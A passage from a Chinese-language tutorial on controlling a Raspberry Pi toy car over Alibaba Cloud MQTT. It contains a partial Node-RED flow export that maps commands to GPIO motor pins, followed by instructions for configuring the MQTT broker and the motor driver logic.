[{payload:1},{payload:0},{payload:1},{payload:0},{payload:0},{payload:0},{payload:0},{payload:0}];\n}\n","outputs":8,"noerr":0,"x":510,"y":320,"wires":[["9e9c968e.24e348","676a7be6.b97e14"],["37f46ac8.666436","676a7be6.b97e14"],["2e8cc1ec.6369ce","676a7be6.b97e14"],["c7700a0b.47b378","676a7be6.b97e14"],["676a7be6.b97e14","482e8885.76d548"],["676a7be6.b97e14","62b4d0fc.a93f3"],["676a7be6.b97e14","fd3c406.31fc4c"],["676a7be6.b97e14","6ac88490.ba21bc"]]},{"id":"2e8cc1ec.6369ce","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"32","set":true,"level":"0","freq":"","out":"out","x":720,"y":240,"wires":[]},{"id":"c7700a0b.47b378","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"33","set":true,"level":"0","freq":"","out":"out","x":720,"y":280,"wires":[]},{"id":"8e757771.a599e8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"停止","payload":"0","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":260,"wires":[["5f130d8f.f55d84"]]},{"id":"89e33a84.467878","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"前進","payload":"1","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":320,"wires":[["5f130d8f.f55d84"]]},{"id":"e521ba16.452cc8","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"后退","payload":"2","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":380,"wires":[["5f130d8f.f55d84"]]},{"id":"676a7be6.b97e14","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":750,"y":580,"wires":[]},{"id":"482e8885.76d548","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"35","set":true,"level":"0","freq":"","out":"out","x":720,"y":340,"wires":[]},{"id":"62b4d0fc.a93f3","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"36","set":true,"level":"0","freq":"","out":"out","x":720,"y":380,"wires":[]},{"id":"fd3c406.31fc4c","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"37","set":true,"level":"0","freq":"","out":"out","x":720,"y":440,"wires":[]},{"id":"6ac88490.ba21bc","type":"rpi-gpio out","z":"d99269c6.a2d0b8","name":"","pin":"38","set":true,"level":"0","freq":"","out":"out","x":720,"y":480,"wires":[]},{"id":"6473261a.673168","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"左轉","payload":"3","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":440,"wires":[["5f130d8f.f55d84"]]},{"id":"73eb851c.b88ddc","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"右轉","payload":"4","payloadType":"str","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":250,"y":480,"wires":[["5f130d8f.f55d84"]]},{"id":"bf85c267.64f96","type":"mqtt in","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"2","broker":"bf40108b.620c2","x":235,"y":160,"wires":[["5f130d8f.f55d84","8a1c007d.34912"]]},{"id":"8a1c007d.34912","type":"debug","z":"d99269c6.a2d0b8","name":"","active":false,"tosidebar":true,"console":false,"tostatus":false,"complete":"false","x":435,"y":180,"wires":[]},{"id":"c1f327d8.b01818","type":"inject","z":"d99269c6.a2d0b8","name":"","topic":"","payload":"","payloadType":"date","repeat":"","crontab":"","once":false,"onceDelay":0.1,"x":240,"y":40,"wires":[["c4d9812a.7b54b"]]},{"id":"c4d9812a.7b54b","type":"mqtt out","z":"d99269c6.a2d0b8","name":"","topic":"","qos":"","retain":"","x":415,"y":40,"wires":[]},{"id":"bf40108b.620c2","type":"mqtt-broker","z":"","name":"","broker":"","port":"1883","clientid":"","usetls":false,"compatmode":true,"keepalive":"60","cleansession":true,"birthTopic":"","birthQos":"0","birthPayload":"","closeTopic":"","closeQos":"0","closePayload":"","willTopic":"","willQos":"0","willPayload":""}]
導入后效果如下
2. 修改節點屬性
導入的流程不能直接使用,需要修改一些節點屬性配置。
雙擊mqtt out節點,在屬性窗點擊服務器右側的那個小標簽按鈕進入mqtt服務配置。填好服務器(阿里mqtt實例的外網http接入點)、端口號(默認1883)、客戶端id("Group ID@@@任意id" 客戶端ID在每個實例每個主題中只能唯一,重復情況下后面連接的自動被阿里斷開)、用戶名(這邊我們使用的是簽名鑒權模式,Token鑒權模式參考文檔"Signature|Access Key|實例 ID")、密碼(參考阿里的簽名機制,快捷生成簽名請點擊簽名校驗),點擊保存返回mqtt屬性配置頁,填寫主題(阿里的Topic ID),QOS選擇1(至少上傳一次)。mqtt in節點類似,由于接受消息是用于控制小車,所以QOS選擇2(僅分發一次),以下是配置詳情
PIN控制著電機驅動模塊從而控制小車的動作,前進(四個輪子前進)、后退(四個輪子后退)、左轉(右側輪子轉)、右轉(左側輪子轉)。假設相鄰的兩個OUT口連接一個電機,那么驅動模塊的控制邏輯為
IN1IN2~數字信號10電機前進數字信號01電機后退數字信號00電機停止數字信號11電機停止
根據該邏輯配置function節點(示例已包含,請根據自己的接法設置GPIO口的信號輸出)
*請認真填寫需求信息,我們會在24小時內與您取得聯系。